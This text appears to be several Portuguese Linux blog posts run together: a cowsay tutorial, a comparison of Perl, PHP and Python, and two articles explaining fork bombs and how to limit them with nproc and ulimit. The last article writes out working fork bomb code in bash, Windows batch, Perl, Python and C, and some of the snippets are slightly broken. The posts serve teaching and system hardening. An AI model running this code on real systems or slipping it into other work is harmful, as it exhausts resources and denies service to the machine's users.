Divirta-se com o cowsay

O cowsay é um pequeno aplicativo escrito em Perl, que pode ser usado para espairecer e refrescar os pensamentos, no Linux.
Resumidamente, é uma vaca configurável e falante.

O aplicativo exibe uma vaquinha em ASCII (veja a imagem abaixo), com uma mensagem dentro de um balão.
cowsay ascii art

Um ótimo lugar para usar o programa é de dentro de seus script, toda vez que precisar se comunicar com o seu usuário.

A vaquinha pode ser uma maneira simpática de avisar que “algo deu errado” ou anunciar o sucesso de alguma operação.
Você é que sabe.

Instale o cowsay a partir do repositório oficial da sua distro. No Debian e Ubuntu, use o apt:


sudo apt install cowsay

Execute o programa, fornecendo uma pequena linha de texto:


cowsay "O site elias.praciano.com tem vários artigos sobre Linux"

/ O site elias.praciano.com tem vários \
\ artigos sobre Linux                  /
 --------------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Fácil, não é?

Experimente especificar a largura (width, em inglês) máxima de cada linha, dentro do balão:


cowsay -W10 "___elias .praciano .com___"

 ___________
/ ___elias  \
| .praciano |
\ .com___   /
 -----------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Use a vaquinha no modo Borg (repare nos olhinhos…) com a opção -b:


cowsay -W35 -b "WEBSITE: https://elias.praciano.com TWITTER: https://twitter.com/coisasdogeek"

 __________________________________
/ WEBSITE:                         \
| https://elias.praciano.com       |
| TWITTER:                         |
\ https://twitter.com/coisasdogeek /
 ----------------------------------
        \   ^__^
         \  (==)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Eu não curto maus tratos aos animais… mas existe o modo da vaquinha morta (dead cow), com a opção -d:


cowsay -W15 -d "Eu estou parecendo o cachorro do Elias, que dorme com a língua de fora... "

 _____________
/ Eu estou    \
| parecendo o |
| cachorro do |
| Elias, que  |
| dorme com a |
| língua de   |
\ fora...     /
 -------------
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||

Experimente usar a opção -g:


cowsay -W15 -g "A opção -g invoca o modo greedy, ou seja, modo ganancioso."

 _______________
/ A opção -g    \
| invoca o modo |
| greedy, ou    |
| seja, modo    |
\ ganancioso.   /
 ---------------
        \   ^__^
         \  ($$)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Segue o modo paranoia, com -p:


cowsay -W15 -p "Modo «paranoia»"

 ____________
/ Modo       \
\ «paranoia» /
 ------------
        \   ^__^
         \  (@@)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Vaquinha chapada com -s:


cowsay -s "Modo chapada ou «stoned»"

 __________________________
< Modo chapada ou «stoned» >
 --------------------------
        \   ^__^
         \  (**)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||

Vaquinha cansada, com -t:


cowsay -t "Modo cansada ou «tired»"

 _________________________
< Modo cansada ou «tired» >
 -------------------------
        \   ^__^
         \  (--)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Experimente ainda estas outras opções:

  • -y — Vaca rejuvenescida (youthful)
  • -w — Oposto de cansada

Se quiser ajustar por conta própria os olhos da vaca, use a opção -e:


cowsay -e "↓↓" "meus olhinhos"

 _______________
< meus olhinhos >
 ---------------
        \   ^__^
         \  (↓↓)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Altere a aparência da língua da vaca com -T:


cowsay -T "YY" "minha pequena linguinha"

 _________________________
< minha pequena linguinha >
 -------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
             YY ||----w |
                ||     ||

Você quer outros animais?

Se você não gosta de vaquinhas simpáticas, experimente um dos outros vários animais disponíveis pelo programa.
Com a opção -l, é possível listar todos:


cowsay -l

Cow files in /usr/share/cowsay/cows:
apt bud-frogs bunny calvin cheese cock cower daemon default dragon
dragon-and-cow duck elephant elephant-in-snake eyes flaming-sheep
ghostbusters gnu hellokitty kiss koala kosh luke-koala mech-and-cow milk
moofasa moose pony pony-smaller ren sheep skeleton snowman stegosaurus
stimpy suse three-eyes turkey turtle tux unipony unipony-smaller vader
vader-koala www

Como são mais de 40 opções, vou deixar para você a surpresa ao explorá-las, uma a uma.

Por fim, você pode direcionar o output de comandos para utilitário com um pipe:


uptime | cowsay -f daemon

 _____________________________________
/  16:53:14 up 5 days, 22:25, 1 user, \
\ load average: 0,25, 0,43, 0,58      /
 -------------------------------------
   \         ,        ,
    \       /(        )`
     \      \ \___   / |
            /- _  `-/  '
           (/\/ \ \   /\
           / /   | `    \
           O O   ) /    |
           `-^--'`<     '
          (_.)  _  )   /
           `.___/`    /
             `-----' /
<----.     __ / __   \
<----|====O)))==) \) /====
<----'    `--' `.__,' \
             |        |
              \       /
        ______( (_  / \______
      ,'  ,-----'   |        \
      `--{__________)        \/

Perl, PHP e Python.

Cada qual com suas próprias vantagens e desvantagens, Perl, PHP e Python têm mais do que a letra ‘P’, no início de seus nomes, em comum.
Trata-se de 3 linguagens de programação modernas e muito populares.

Para se tornar um bom programador, dominar uma única linguagem de programação não é o suficiente.
É muito comum nos envolvermos em projetos que fazem uso de mais de uma linguagem, como meio para solucionar problemas.
Fazer a mudança de uma linguagem de programação para outra é mais fácil quando se tem intimidade com mais de uma.
O problema é que há muitas linguagens de programação no mundo.
Neste post, vou tentar mostrar porque Perl, PHP e Python merecem que você dedique parte do seu tempo para aprender, pelo menos, uma delas.
Claro que a escolha de uma linguagem, para erigir um projeto, parte de se considerar diferentes fatores — tais como

  • as funcionalidades que se deseja que as aplicações tenham,
  • que novos recursos elas devem suportar,
  • a(s) plataforma(s) de hardware/sistemas operacionais para as quais se vai desenvolver as soluções
  • performance, segurança, quantidade de código que precisará ser criado, a comunidade etc.

As linguagens dos ‘P’, são dinâmicas e poderosas, cada qual do seu jeito e têm em comum o fato de que são muito usadas para desenvolver aplicações web e scripts.
Vamos conhecer um pouco de cada uma, suas vantagens e (lógico!) desvantagens.

Perl

O Perl (nas versões 5.x e 6.x) é uma linguagem de programação dinâmica, interpretada, de propósito geral e de alto nível.
Originalmente desenvolvida por Larry Wall, em 1987, para uso no sistema operacional Unix — tinha um objetivo inicial de facilitar o processamento de relatórios de sistema.
O Perl passou por várias mudanças e revisões e tem sido reprojetada na versão 6 — a ponto de evoluir para uma nova linguagem, em relação á original.
Ambas as ramificações (Perl 5 e 6) têm desenvolvimento ativo e independente uma da outra, formando a família de linguagens Perl.
A família pega emprestado características de outras linguagens importantes, como C, shell script, AWK e sed.
Atualmente, encontra aplicação na administração de sistemas, programação de redes, aplicações financeiras, bioinformática etc.

Manipulação de cadeias de caracteres (strings) e expressões regulares são pontos fortes conhecidos do Perl.

Vantagens

  • Perl é muito boa para lidar com expressões regulares e costuma ser a primeira opção para fazer trabalho pesado nesta área.
  • Seu código é bem curto e, comumente, é possível implementar soluções com apenas uma linha de código.
  • Pode ser usada como linguagem funcional, imperativa, procedural ou orientada a objetos.
  • O CPAN do Perl provê uma grande quantidade de módulos e código testado. Boa parte é gratuita.
  • Por ser uma linguagem, já tradicional e com bastante estrada (mais de 30 anos), conta com muita documentação online e uma grande comunidade de suporte.
  • Portabilidade e disponibilidade a todas as plataformas.

Desvantagens

  • Uma vez que tem sintaxe complexa, iniciantes podem ter alguma dificuldade de entender.
    O mesmo código pode ser escrito de modos diferentes — o que é muito bom, quando se já tem um conhecimento mais avançado sobre a linguagem, mas pode ser fator de confusão para quem está aprendendo.
  • Comparado ao Python, tem documentação escassa sobre como programar orientado a objetos.
  • Pode ser lenta, em comparação com outras linguagens de script.

Popularidade

Mesmo não sendo “nova no pedaço”, seu crescimento tem sido lento, (novamente) comparado a outras linguagens.
Ainda assim, goza de grande popularidade e de uma comunidade engajada.

PHP

Também se trata de uma linguagem de propósito geral, mas é amplamente usada em websites.
Projetada por Rasmus Lerdorf, é uma linguagem de script interpretada server-side, desenvolvida com o propósito de ser usada no desenvolvimento web — sendo que, inicialmente, seu nome correspondia a Personal Home Page.
Atualmente, PHP é um acrônimo recursivo para PHP: Hypertext Preprocessor — ou “PHP: Preprocessador de Hipertexto”.
É muito usada em meio ao código HTML e está inserida em vários sistemas de gestão de conteúdo online.
O código é geralmente processado por interpretador implementado como módulo no servidor web ou como CGI (Common Gateway Interface).
O código também pode ser executado/interpretado na interface de linha de comando (CLI) e pode ser usado para implementar aplicações standalone.
Com um desenvolvimento, cujo início data de 1995, o PHP se encontra na versão 7.x, atualmente.
Ao contrário do Perl (5 e 6) e do Python (2 e 3), a comunidade do PHP caminha junto com as novas versões — de forma que a linguagem não sofreu uma bifurcação em seu desenvolvimento.
É usado no YouTube, no Facebook e em vários outros grandes projetos na Internet.

Vantagens

  • A grande maioria dos provedores de Internet oferece um ambiente pronto para você desenvolver em PHP, nas implementações mais atuais da linguagem.
  • É fácil de aprender e usar. A sintaxe é muito parecida com a da linguagem C.
  • Conta com uma enorme comunidade de suporte.
  • É estável e rápido.
  • Tem suporte a muitos bancos de dados e provê gestão nativa de sessão.

Desvantagens

  • Algumas das bibliotecas escritas em PHP usam uma abordagem procedural e podem ser de difícil compreensão para programadores com formação exclusiva em orientação a objetos.
  • Pode se tornar lenta com a escalabilidade das suas necessidades.
    Algumas organizações fazem uso de frameworks para contornar este problema, contudo.
  • Não é a opção ideal para escrever aplicações desktop.

Popularidade

É, certamente, muito popular e costuma integrar a lista top 10 de linguagens de programação — principalmente quando o assunto é desenvolvimento para a web.

Leia mais sobre o PHP.

Python

Desenvolvida no fim dos anos 80, por Guido van Rossum, Python é uma linguagem de programação elegante e fácil de aprender.
Tem se tornado especialmente popular nos últimos anos e costuma-se recomendar seu aprendizado (como primeira linguagem) a iniciantes em programação.
Tem suporte a múltiplos paradigmas — funcional, imperativa, procedural e, obviamente, orientada a objetos.
Pode ser usada para desenvolver aplicações para desktop, para dispositivos móveis, análise de dados, Web, computação nas nuvens, jogos etc.
A linguagem usa a indentação para identificar blocos de código, o que elimina a necessidade de usar pontos-e-vírgulas etc.

Vantagens

  • Muito bem documentada e você encontra muitos livros sobre a linguagem, inclusive ótimas publicações de autores nacionais. Ou seja, você não precisa comprar traduções malfeitas.
  • É usada em animação 3D e no desenvolvimento de jogos, diferente das outras linguagens de que falamos aqui.
  • Estudantes costumam aprender Python mais rápido do que C ou C++.
  • O código é mais enxuto e mais limpo e, portanto, mais fácil de entender.
  • Comparado a outras linguagens, seu código costuma ser mais curto.
  • Tem suporte a JVM, de forma que seu código pode rodar alguns objetos ou APIs Java.

Desvantagens

Por mais animado que se esteja com uma linguagem de programação, não dá para fechar os olhos para seus pontos fracos:

  • O seu código pode simplesmente não funcionar por que você esqueceu de indentar corretamente.
  • O Python força os programadores a seguir uma convenção.
  • É uma linguagem interpretada e mais lenta que C ou C++.
  • Até o momento, não é muito eficiente para rodar código voltado para múltiplos processadores e/ou núcleos.

Popularidade

Tem se tornado mais e mais popular nos últimos anos e chegou a ganhar o TIOBE Programming Language of the Year/2007. A instituição mede o crescimento e a popularidade de uma linguagem no período de um ano.
A linguagem se manteve em 2o, durante o ano de 2017.

Conclusão

Não existe resposta pronta para a pergunta “qual a melhor linguagem ….”
No caso destas 3, todas podem realizar os mesmos projetos — algumas, com mais eficiência do que as outras.
A título de sugestão, segue a minha lista:

  • PHP é a mais indicada para o desenvolvimento Web e projetos na Internet. Dos servidores gratuitos aos mais caros, quase todos oferecem suporte a PHP e a bancos de dados MySQL/MariaDB.
  • Projetos do lado do cliente, para rodar no desktop ou em dispositivos móveis, podem ser melhor servidos com Python.
  • Perl é mais vantajoso na automação de serviços, na administração de sistemas e em scripts.

Se você tem planos de iniciar um projeto na Web, vale saber que, com o PHP, vai encontrar quase tudo pronto para começar a trabalhar e ver os resultados.
Contudo, se ainda não tiver qualquer projeto em mente, minha recomendação pessoal é a favor do Python.

Referências

https://pt.wikipedia.org/wiki/Perl.

https://pt.wikipedia.org/wiki/PHP.

https://pt.wikipedia.org/wiki/Python.

Leia mais sobre Python.

https://electronicsforu.com/resources/software/a-guide-to-rogramming-in-perl-php-and-python.

Como se prevenir de fork bombs no Linux, usando nproc e ulimit

fork bombs são códigos maliciosos, executados no sistema, que causam a negação do serviço ou denial of service.
Sua efeito é devastador, por consumir rapidamente os recursos de armazenamento na memória e/ou de processamento de informações, causando uma crescente deterioração do sistema.
fork bomb diagram
O resultado de uma fork bomb é, quase sempre, um desktop ou servidor totalmente inoperante — neste caso, tudo o que resta a fazer é reiniciar a máquina, sob o risco de perder dados importantes e corromper arquivos fundamentais do sistema.
Veja o vídeo, ao final do artigo, demonstrativo da execução de uma fork bomb no meu sistema.
As fork bombs não são defeitos ou falhas na arquitetura do seu sistema operacional. Na verdade, cabe ao administrador configurar o sistema para que os processos não consumam todos os seus recursos.
Neste artigo, vamos demonstrar como é possível, com alguns procedimentos simples, limitar os recursos disponíveis aos usuários, que podem prevenir o uso malicioso do sistema.

Estabeleça limites para seus usuários com nproc

Uma fork bomb funciona criando uma quantidade exponencial e infindável de processos (muito rapidamente), com o objetivo de saturar o espaço disponível para outros processos — o que inclui os do próprio sistema operacional.

Uma fork bomb mata o seu sistema por inanição de recursos

Configure o arquivo /etc/security/limits.conf para que este imponha limites aos usuários e processos.
Abra o arquivo, com privilégios administrativos e altere a quantidade de processos que usuários e grupos de usuários podem abrir simultaneamente.
Por exemplo, para estabelecer a quantidade máxima de processos do usuário ‘salsicha’ para 300, adicione o seguinte código:

salsicha hard nproc 300

Para limitar a quantidade de processos dos usuários pertencentes ao grupo ‘scoobydoo’ em 50, use o seguinte exemplo:

@scoobydoo hard nproc 50

Com esta configuração, o usuário ‘salsicha’ ou qualquer outro pertencente ao grupo ‘scoobydoo’ ficará impedido de derrubar o sistema com uma fork bomb.
Se tentarem, o sistema ficará indisponível apenas para eles — os usuários e grupos em questão.
Outros usuários no sistema não serão afetados.
É necessário reiniciar o sistema, depois de alterar o arquivo de configuração.

Como limitar a quantidade de processos em uma sessão com ulimit

Um método mais imediato de limitar o número de processos por sessão consiste no uso do comando ulimit.

ulimit -u
841

Conforme o resultado acima, o meu usuário está limitado a abrir até 841 processos simultaneamente.
Tome cuidado ao reduzir o número de processos. Um valor muito baixo pode simplesmente inviabilizar o uso.
Para reduzir o número máximo de processos abertos simultâneos para esta sessão para 30, faça assim:

ulimit -u 30

Se você tentar rodar uma fork bomb agora, ela irá ser executada, mas irá emitir um monte de mensagens:
-bash: fork: retry: recurso temporariamente indisponível
-bash: fork: retry: Não há processos filhos
Isto significa que seu sistema não permitiu que a bomba abrisse mais processos além do limite.
No final, a bomba é finalizada pelo sistema. Veja a imagem:

$ :(){ :|:& };:
Fork Bomb
:(){ :|:& };:

Leve em conta que cada sistema é único.
Se você usa um desktop KDE ou Gnome, precisa imaginar que eles tendem a abrir uma grande quantidade de processos para poder funcionar.

Demonstração real de uma fork bomb em execução

No vídeo abaixo, fica demonstrada execução de uma fork bomb sob controle do ulimit — pouco tempo depois de começar a agir, ela é neutralizada pelo sistema.

Eu usei uma máquina virtual, rodando o Debian 8.1 Jessie, para realizar a demonstração.
Se quiser saber como por no ar a sua própria máquina virtual, leia o artigo Como pôr no ar uma máquina virtual Debian, em 5 minutos.

Achou interessante? Compartilhe! 🙂

O que é uma fork bomb?

Neste post, vou mostrar como funcionam as fork bombs, como fazer uma e como se prevenir deste tipo de código malicioso.
Além das diversas definições, sempre há uma história por ser contada e é por onde vou começar.
Ao final do texto, há alguns links para outros sites onde o assunto também é abordado, caso você queira se aprofundar mais no assunto.
Pernalonga e Elmer Fudd
Se o seu interesse é prevenção, leia Como prevenir a execução de uma fork bomb no seu sistema.

Qual a definição de fork bomb?

Uma definição simples para fork bomb é a de que se trata de um código que tenha a função e a capacidade de se replicar indefinidamente.
Vírus e vermes não valem para esta definição.
À medida em que o código vai auto replicando, consome cada vez mais recursos de memória, de processamento etc.
Como os recursos do sistema não são inesgotáveis, o resultado é que ele entra em colapso.
Há relatos de que códigos deste tipo foram executados por estudantes, na Universidade de Washington, em um Burroughs 5500, em 1969 — o programa fazia 2 cópias de si mesmo, a cada vez em que era executado até que o sistema fosse derrubado.
A esta rápida reprodução do código deve-se o apelido de “trabalho de coelho” (rabbit job) ou wabbit, em alusão ao personagem da Looney Tunes, Elmer Fudd, que trocava o R pelo L (veja link ao final do texto) — a piada só tem graça em inglês.

Como criar uma fork bomb no Ubuntu

Você não precisa ser super usuário para criar e rodar uma fork bomb na maioria das vezes. Normalmente, cabe ao administrador do sistema regular como cada usuário irá usar os recursos.
error iconO código abaixo é um dos mais conhecidos e torna o seu sistema cada vez mais lento, a ponto de parar de responder completamente.
Este código e todos os outros, neste artigo, podem quebrar o seu sistema. Seja responsável!

:(){ :|: & };:

O seu funcionamento é o seguinte:

  • :() — cria/define uma função chamada :
  • {:|: &} — roda a função : e direciona sua saída para a função : e a executa nos bastidores
  • ; — este caractere funciona como separador, na linha de comandos. Equivale a && e permite iniciar uma outra instrução
  • : — executa a função definida no início

É possível desarmar esta bomba com o comando kill, no Linux — mas você provavelmente vai precisar ser muito rápido para fazer isto antes que seu sistema morra por inanição de recursos.
Uma outra forma, mais compreensível, de obter o mesmo resultado nefasto é assim:

bomba()
 {
bomba | bomba &
 }; bomba

No código, acima, fica mais claro ver a função executar-se a si mesma.
Se você gostaria de ver um exemplo não malicioso de execução de uma fork bomb, o código abaixo é seguro para você experimentar:

fork_bomb(){ echo "FORK BOMB"; };
fork_bomb

No terminal, ele pode ser interrompido com Ctrl+C.

Como criar uma fork bomb no Windows

Você pode criar um arquivo .bat, com o seguinte conteúdo:

:bomba
start %0
goto bomba

Ou rodar este código:

%0|%0

As fork bombs funcionam como esquemas de negação de serviço (denial of service) — elas devoram os recursos do sistema.

Como criar uma fork bomb em Perl, Python e em C

Exemplo em Perl:

perl -e "fork while fork" &

Em Python:

import os
  while(1):
      os.fork()

E, por último, uma fork bomb em linguagem C:

#include
int main()
 {
   while(1)
      fork();
 }

Referências

Como se prevenir de uma fork bomb.
Comandos fatais para Linux.
Cyberciti — Understanding fork bomb.
Linuxconfig — How to crash your system with a fork bomb.
Hortelino Troca-Letras (Elmer Fudd) — http://pt.wikipedia.org/wiki/Elmer_Fudd.
The hackers jargon — http://catb.org/~esr/jargon/html/W/wabbit.html.